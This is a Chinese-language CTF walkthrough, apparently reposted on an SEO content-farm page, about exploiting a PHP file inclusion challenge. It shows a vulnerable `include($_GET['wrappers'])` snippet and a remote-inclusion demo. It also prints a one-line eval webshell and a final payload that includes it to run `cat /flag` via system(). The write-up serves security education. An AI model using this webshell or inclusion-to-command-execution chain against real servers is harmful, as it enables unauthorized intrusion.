当前位置: 首页 > wzjs >正文

网站做百度推广怎么推广网站如何网站seo

网站做百度推广怎么推广网站,如何网站seo,cpa广告联盟网站建设教程,网站站群建设方案源码分析 讲解源码前, 先讲一下 PHP 文件包含漏洞 漏洞原理 文件包含用于 包含内容和函数 用于减少重复代码 示例 <?php$file $_GET[file];include($file); ?>因为对动态包含的文件没有进行校验等操作, 可能会造成注入之类的问题 http://www.xxx.com/main.php?…

源码分析

讲解源码前, 先讲一下 PHP 文件包含漏洞

漏洞原理

  • 文件包含用于

    • 包含内容和函数

    • 用于减少重复代码

  • 示例

    • <?php$file = $_GET['file'];include($file);
      ?>
      
    • 因为对动态包含的文件没有进行校验等操作, 可能会造成注入之类的问题

    • http://www.xxx.com/main.php?file=x.php
      
  • 文件包含漏洞分类

    • 本地文件包含漏洞-LIF

      • 包含的文件在服务器本地
    • 远程文件包含漏洞-RLF

      • 包含的文件在第三方服务

      • 需要php.ini中的 allow_url_fopenallow_url_include 为ON

      • http://www.xxx.com/main.php?file=http://www.yyy.com/file.php
        
  • PHP常见的文件包含的函数

    • include

      • 当使用该函数包含文件时, 只有代码执行到include()函数时才将文件包含进来, 发生错误时之给出一个警告, 继续向下执行
    • include_once

      • 功能与Include()相同, 区别在于当重复调用同一文件时,程序只调用一次
    • require

      • require()与include()的区别在于require( )执行如果发生错误, 函数会输出错误信
    • require_once

      • 功能与require()相同, 区别在于当重复调用同一文件时, 程序只调用一次

  • 通过上文大致知道 PHP 文件包含的分类(本地文件包含 与 远程文件包含)

    • 由于本题开启了如下配置

      • allow_url_fopen=On 规定是否允许从远程服务器或者网站检索数据(默认为On)
        allow_url_include=On 规定是否允许include/require远程文件(php5.2之后默认为Off)
        
    • 所以可以使用远程文件包含的

  • 接着开始分析源码

    • <?php isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';highlight_file(__FILE__);
      ?>
      
    • 源码其实很短, 除了显示代码的语句 highlight_file(__FILE__);

    • 就是 isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';

      • 即检测是否 GET 传入 wrappers 参数

        • 如果有的话就是用 include() 函数包含这个参数文件

        • 即使参数中的文件也在该文件执行

解题分析

  • 通过这个语句 isset($_GET['wrappers']) ? include($_GET['wrappers']) : ''; 就可以进行文件包含了

  • 本题因为配置 allow_url_include=On, allow_url_fopen=On 所以可以包含远程文件

    • 比如包含服务器上的一句话木马

    • 但是这里探姬已经在当前目录在放了一个 backdoor.txt 的后门

      • 即一句话木马
    • 所以这里就不使用服务器上的马了

    • 不过也可以通过包含百度演示一下

      • http://靶机地址/?wrappers=http://www.baidu.com
        
      • 在这里插入图片描述

      • 这里放大一下, 方便把题目和百度的页面一起截进去

  • 除此之外, 探姬还留了一个 phpinfo.txt 文件

    • 里面的内容是 <?php phpinfo(); ?>

    • 我们可以通过包含这个文件, 参看当前PHP的信息

    • 这里就可以看到 allow_url_include, allow_url_fopen 是开启状态

    • 在这里插入图片描述

解题步骤

  • 上文通过 百度 演示了远程文件包含

  • 接下来就通过本地文件包含来获取flag

    • 直接使用探姬留下的后文文件 backdoor.txt

    • http:/靶机地址/?wrappers=./backdoor.txt
      
  • 这样就结束了?

    • Flag在哪?

    • 怎么没有出现?

  • 如果你有这样的疑问, 或许你还没理解文件包含的意思

    • 文件包含只是把传入的文件包含在原本的代码中, 并且运行

    • 但是backdoor.txt 有什么呢?

      • 如下

        • <?php @eval($_POST['ctf']); ?>
          
      • 发现又什么了吗? -> @eval($_POST['ctf']);

        • POST 传入的参数会被 eval 当做命令执行

        • eval 只是执行 PHP 命令的

        • 为了执行系统命令, 我们还需要嵌套一层 system() 函数

        • ctf 传入的参数应该是 system("");, 引号中间加入系统命令, 如 ls

  • 也就是在 ?wrappers=./backdoor.txt 传参后, 当前页面的源码执行后, 又执行了 backdoor.txt 的内容

    • <?php isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';highlight_file(__FILE__);
      ?>
      <?php @eval($_POST['ctf']); ?>
      
    • 我们就可以接着一同 POST 请求传入参数 ctf

  • 最后 Payload 报文如下

    • /?wrappers=./backdoor.txt
      ctf=system("cat /flag");
      
    • 在这里插入图片描述

http://www.dtcms.com/wzjs/290921.html

相关文章:

  • 宁波网站建设百度官方客服
  • 靖江网站建设电商营销策划方案
  • 网站推广的定义最佳搜索引擎磁力
  • 蛋糕店网站源码百度引流推广怎么做
  • 中国特种做业人员备案考核是什么网站武汉大学人民医院东院
  • 公司微网站建设方象科技专注于什么领域
  • 做的好的家装网站2022新闻大事件摘抄
  • 番禺网站推广个人怎么做推广
  • 西安做网站的公司电话朝阳seo推广
  • 手机web网站微信公众号怎么推广
  • 自己做网站投入seo薪酬如何
  • dw做网站怎么排版超级外链在线发布
  • 仙游住房与城乡建设局网站我想接app注册推广单
  • 网站建设阝金手指专业十四seo每日一帖
  • 赌博网站是怎么做的互联网广告推广公司
  • 天津建设工程信息网吧广州网站优化工具
  • 网站怎么备案在哪里一个万能的营销方案
  • 湖南省政府 网站建设人工智能培训心得
  • 网站备案后 换服务器推广计划怎么做
  • 网站域名备案服务2022十大热点事件及评析
  • 小企业公司网站怎么建旅游网站网页设计
  • 零基础一个人做网站百度推广工资多少钱一个月
  • 外贸 礼品 网站软文推广方案
  • wordpress中的全站链接怎么改线上推广的方式有哪些
  • 网站中如何做图片轮播2024年阳性什么症状
  • 请兼职做企业网站设计怎么收费谷歌搜索引擎入口363
  • js 曲线 网站html网页制作动态效果
  • 站酷设计网页版做网站seo推广公司
  • 有免费查企业的软件吗seo免费优化网站
  • 品牌公关具体要做些什么信息流优化师工作内容